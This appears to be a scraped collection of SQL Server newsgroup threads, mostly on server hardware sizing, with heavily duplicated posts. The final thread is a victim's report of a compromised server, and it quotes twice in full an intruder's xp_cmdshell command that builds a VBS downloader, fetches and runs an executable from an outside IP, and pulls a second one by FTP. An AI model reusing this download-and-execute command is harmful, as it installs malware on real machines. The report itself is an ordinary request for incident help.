> Definitely use Windows Server 2003 as the OS.
> Since you are a Dell shop, you might want to check out the CX-200
> entry-level SAN. It is a bit more than a SCSI Powervault, but not
> prohibitively so. I would seriously look into the best PowerEdge 6650 I
> could afford with a CX-200 back-end. If not, maybe a 6600 with 12
internal
> SCSI drives. Obviously , we all have budget constraints but definitely
> squeeze every bit you can for this.
> --
> Geoff N. Hiten
> SQL Server MVP
> Senior Database Administrator
> Careerbuilder.com
>
>
> "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
(~50
> > million rows) and as of late we have noticed a degradation in
performance.
> > As we will be needing a new server to host our new website, we have
> decided
> > to relegate the 4400 to web hosting and buy a new SQL server box. I know
> > there is time to be spent running profiler / perfmon etc to track down
the
> > source of the performance problems, but we WILL be needing a new box
> first,
> > then I can start to diagnose the perf. issues.
> >
> > What I would like to know is what factors are MOST important when
> > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
processor,
> > RAM, On-chip cache etc. I know the best advise is usually "get the best
> > machine you can afford" but when weighing up the options there are some
> > things that have to be decided on an either/or basis i.e. a one-CPU
> machine
> > with 1MB cache, or a dual-CPU machine with 512KB cache.
> >
> > Many thanks for any input,
> > df
> >
> >
>|||Tough call. Most 4+ way systems now have 1MB cache except on the very
fastest processors which have 2MB cache, so you really don't get a tradeoff
there. It is either faster AND more cache or not. As an example, a Dell
PowerEdge 6600/6650 can currently have either 2.5GHz processors with 1MB
cache or 2.8GHz processors with 2MB cache. If you have to compromise, back
off the processor speed/cache slightly and get more RAM and a better disk
subsystem.
--
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"Linchi Shea" <linchi_shea@.NOSPAMml.com> wrote in message
news:%23wDjVyJiDHA.2120@.TK2MSFTNGP10.phx.gbl...
> Geoff;
> I agree with you on the general choice between more CPUs and bigger CPU
> cache, and between more memory and faster CPUs.
> What would be your choice between faster CPUs and more CPU cache? In total
> abstract and in general, my perference has been more CPU cache. Obviously,
> I'm not talking about going from 400MHz to 2.6GHz.
> --
> Linchi Shea
> linchi_shea@.NOSPAMml.com
>
> "Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
> news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> > All of this is my experience and personal opinion. YMMV.
> >
> > I prefer more CPUs to bigger CPU cache.
> > More memory is preferable to faster CPUs, within reason. Unless you are
> > running Enterprise Edition, anything over 4GB in the box is wasted so
plan
> > accordingly. If you are using Enterprise edition, put as much memory as
> you
> > can afford in the box.
> > RAID-10 is three to five times faster than RAID-5. Lots of drive
spindles
> > is a cheap way to boost performance.
> > Definitely use Windows Server 2003 as the OS.
> >
> > Since you are a Dell shop, you might want to check out the CX-200
> > entry-level SAN. It is a bit more than a SCSI Powervault, but not
> > prohibitively so. I would seriously look into the best PowerEdge 6650 I
> > could afford with a CX-200 back-end. If not, maybe a 6600 with 12
> internal
> > SCSI drives. Obviously , we all have budget constraints but definitely
> > squeeze every bit you can for this.
> >
> > --
> > Geoff N. Hiten
> > SQL Server MVP
> > Senior Database Administrator
> > Careerbuilder.com
> >
> >
> >
> >
> >
> > "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> > news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
> (~50
> > > million rows) and as of late we have noticed a degradation in
> performance.
> > > As we will be needing a new server to host our new website, we have
> > decided
> > > to relegate the 4400 to web hosting and buy a new SQL server box. I
know
> > > there is time to be spent running profiler / perfmon etc to track down
> the
> > > source of the performance problems, but we WILL be needing a new box
> > first,
> > > then I can start to diagnose the perf. issues.
> > >
> > > What I would like to know is what factors are MOST important when
> > > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
> processor,
> > > RAM, On-chip cache etc. I know the best advise is usually "get the
best
> > > machine you can afford" but when weighing up the options there are
some
> > > things that have to be decided on an either/or basis i.e. a one-CPU
> > machine
> > > with 1MB cache, or a dual-CPU machine with 512KB cache.
> > >
> > > Many thanks for any input,
> > > df
> > >
> > >
> >
> >
>|||Minimum 2 CPU's, 2 GB RAM.
Preferred:
4 CPU's, 4-8 GB RAM. RAID array.
CPU speed or cache does not matter nearly as much at having 2 or more and
having lots of RAM, and a RAID array. RAID 5 or 10.
In order of preference - price vs performance
2 CPU
2 GB RAM
RAID 5
4 GB RAM
4 CPU's
RAID 10
J
www.urbanvoyeur.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>
Machine Specs
Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks.
"Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA
|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks.
"Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA
|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
Machine Specs
Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>>Hello,
>>I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
>>a white paper or instructions on recommended hardware specs and/or
>>server 2003 tweaks?
>>Thanks.
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>>Hello,
>>I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
>>a white paper or instructions on recommended hardware specs and/or
>>server 2003 tweaks?
>>Thanks.
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
Machine Specs
Hello,
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
a white paper or instructions on recommended hardware specs and/or
server 2003 tweaks?
Thanks."Won Lee" <nospam@.nospam.com> wrote in message
news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
> Hello,
> I'm asking a consultant to spec out a new SQL 2000 machine. Anyone have
> a white paper or instructions on recommended hardware specs and/or
> server 2003 tweaks?
> Thanks.
Lots of great information here:
http://www.sql-server-performance.com/
Rick Sawtell
MCT, MCSD, MCDBA|||Rick Sawtell wrote:
> "Won Lee" <nospam@.nospam.com> wrote in message
> news:e4P7WLeZFHA.2664@.TK2MSFTNGP15.phx.gbl...
>
>
> Lots of great information here:
> http://www.sql-server-performance.com/
>
> Rick Sawtell
> MCT, MCSD, MCDBA
>
>
Thanks. =)
machine slow performance
I have discovered recently that the sql server 2000 sp4 has spawned a lot of
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1
.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen
]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssq
l.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some applicatio
n that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell exec
utions.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot o
f
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:
\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&ec
ho
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data
=
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&ech
o
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&ec
ho.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_ms
sql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)
> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious
when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good
/smart/valid reasons to
use it.
> best wishes for the holidays,
And the same to you! :-)
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote i
n message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it!
?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -
> best wishes for the holidays,
> steve
>|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
---
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838
cmd.exe processes.
Event viewer is full of events like:
8128 :
Using 'xplog70.dll' version '2000.80.760' to execute extended stored
procedure 'xp_cmdshell'.
the parameter cmd,exe was called:
C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1
.
vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data =
CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.[vbcol=seagreen
]
adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssq
l.
exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
now i'm out of mind how to stop this.
Can anyone help me?SQL Server does not do this by itself. It is either a job or some applicatio
n that does this. I
suggest you use Profiler to track down who is calling these xp_cmdshell exec
utions.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"bass_ua" <u30195@.uwe> wrote in message news:6ab4e8b03613c@.uwe...
>I have discovered recently that the sql server 2000 sp4 has spawned a lot o
f
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:
\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = "http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&ec
ho
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET =
> CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data
=
> CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&ech
o
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&ec
ho.
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type =
> adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_ms
sql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)
> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious
when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good
/smart/valid reasons to
use it.
> best wishes for the holidays,
And the same to you! :-)
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote i
n message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it!
?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -
> best wishes for the holidays,
> steve
>|||Hi all, I'm fighting with exactly the same problem on my server. I've
tried everything I know without success. Do someone have an idea about
solving the problem ? Thanks
Marzio
Marzio Molinari
---
Marzio Molinari's Profile: http://unixadmintalk.com/798
View this thread: http://unixadmintalk.com/showthread.php?t=254838
Subscribe to:
Posts (Atom)